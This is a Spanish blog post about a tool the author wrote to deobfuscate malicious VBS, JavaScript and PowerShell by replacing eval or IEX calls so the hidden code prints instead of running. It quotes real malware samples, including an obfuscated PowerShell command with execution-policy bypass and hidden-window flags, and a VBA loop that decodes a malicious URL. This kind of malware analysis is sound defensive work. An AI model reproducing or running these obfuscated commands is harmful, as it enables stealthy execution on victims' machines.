Vulnerabilidades y Ataques Informaticos

Analizando malware que utilice Visual Basic Script, Javascript y/o Powershell

Hola a tod@s

Vamos a ver como de forma rápida tratar de ver qué hace un malware que utilice Visual Basic Script, Javascript y/o Powrshell. Este método no es infalible, se puede escapar alguno, pero la idea es ver algunos ejemplos sencillos y los complicados, te los dejo a ti xD.

Utilizaré una utilidad que programé para de forma sencilla, copias el código malicioso, pegas en la herramienta y ves la salida.

Si la quereis, pordeis descargarla aquí: DESCARGA

Comenzamos con una muestra en Powershell. Busco uno en Google: Por ejemplo

Si vamos a los procesos, podemos ver el comando completo de Powershell que utiliza.

powershell.exe -noP -exec Bypass -nonI -c "&{$o4='fedgolsvfindstr'; $m2o='powershell -wi"N "hid"Den -c {'+$o4.SubString($o4.length - 7, 7)+' /s mrekikaso c:\users\*.lnk}'; $re=iex "$m2o"; "$re"|iex}"

En negrita vemos el código que tenemos que copiar y pegar en la herramienta.

Pulsamos en nuevo o “File – New”, pegamos el contenido (o arrastramos el fichero a la herramienta), seleccionamos el check de Powershell, pulsamos en “Replace mal function” y pulsamos en Play.

El resultado es el comando de la ejecución.

Probemos otro ejemplo, este mismo.

Como sé lo que estais pensando, os contesto a esos pensamentos. La herramienta no es mágica, no sirve para todo, depende del nivel de ofuscación del script. La herramienta reemplaza funciones, por lo que si no está, no puede reemplazar, a veces hay que ayudarle.

En este caso:

Reemplazamos manualmente esas variables por IEX:

Y ejecutamos.

Vemos el resultado final. Hay que tener cuidado con ejecutarlo directamente porque puedes infectarte.

Pasamos al Visual Basic Script. La idea es la misma en los 3 casos. Inicialmente la idea surgió debido a que me encontraba mucho malware con código similar a este.

Por ejemplo:

Dim url_array() As Variant
url_array = Array(161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167)
Dim count As Integer
Dim url As String
url = ""
For count = LBound(url_array) To UBound(url_array)
url = url & Chr(url_array(count) - 20 - 37)
Next count

Y necesitaba algo que de manera rápida, con un copiar y pegar me generara el resultado de la URL.

Esto es Visual Basic for Applications, por lo que hay que tocar “un poquito” el código para poderlo ejecutar en la herramienta.

Quitándole el tipo de las variables y eliminando count en el Next, funciona todo. La alternativa manual a esto sería. Abre un fichero de texto, guardalo como VBS, pega el código, transformalo para que funcione, guardalo, abre una consola, ejecuta el comando y espera que todo funcione para ver la salida esperada. Son muchos pasos. Con la herramienta, sólo 1.

Si utilizáis Notepad++, por ejemplo, podéis ver como colorea el código y comprobar si lo estáis hacendo bien, una vez finalizado, lo pegais en la herramienta que hará el resto.

Finalizamos con los ficheros Javascript: Aqui.

Aquí tenemos 2 opciones, reemplazar las funciones automáticamente (check “Replace mal function”) o introduciendo la función a reemplazar en el combobox. Seleccionamos eval y pulsamos enter.

Una vez comprobemos que ha reemplazado la función eval por la correspondiente (según el checkbox que esté marcado, vbs, js o ps1) que mostraría el resultado por la consola, pulsamos el Play.

Vemos el resultado final:

Necesitamos que este contenido pase a la ventana de arriba para poder seguir analizando. Pulsamos el botón que está justo a la izquierda del Play.

Y repetimos el proceso (bien seleccionando la función eval en el combo y pulsando Enter o bien marcando el check de “Replace mal function”). Esta vez marcaremos el check, por hacerlo de manera diferente a la anterior.

Después de esperar los 16 segundos iniciales (Sleep 16000), vemos como ha cambiado la ventana de abajo.

Lo mismo, lo pasamos arriba y Play. Y ya tenemos el código javascript sin ofuscar:

Como veis, es muy útil con pocos clicks llegar al resultado final, de forma manual se tarda mucho tiempo y la idea era tener una herramienta que me permita de manera rápida analizar VBS, JS y PS1, un todo en uno.

Espero que os haya gustado, la verdad es que Mariano ( Ponencia Rooted ) me animó a escribir este POST después de la gran charla que dio en la Rootedcon 2019 (os la recomiendo, no tiene desperdicio) y habló de la herramienta que programó un compañero suyo, pues aquí la tenéis para el que la quiera usar.

Saludos a todos!!

Author image

About Rafa.Pedrero

Mi familia, la ciberseguridad y el skate, son mis grandes pasiones.
  • Madrid
comments powered by Disqus